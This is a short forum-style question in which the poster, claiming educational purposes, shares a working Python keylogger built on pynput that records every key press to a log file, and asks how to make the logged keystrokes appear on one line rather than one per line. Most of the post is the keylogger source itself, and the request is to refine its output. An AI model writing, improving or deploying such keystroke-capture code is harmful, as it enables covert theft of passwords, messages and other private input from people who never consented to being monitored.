I'm trying to make a keylogger (Educational purposes only) And it's currently working but it puts each key in a separate line. I want it so that the output is just recorded without making it letter by letter Anyways this is the code. What do i need to edit? i cant seem to find any answer to this..
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format="%(message)s")
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
Its not that big but i still cant figure out how to make it so that the output is not in separate lines like this : https://prntscr.com/p0cmin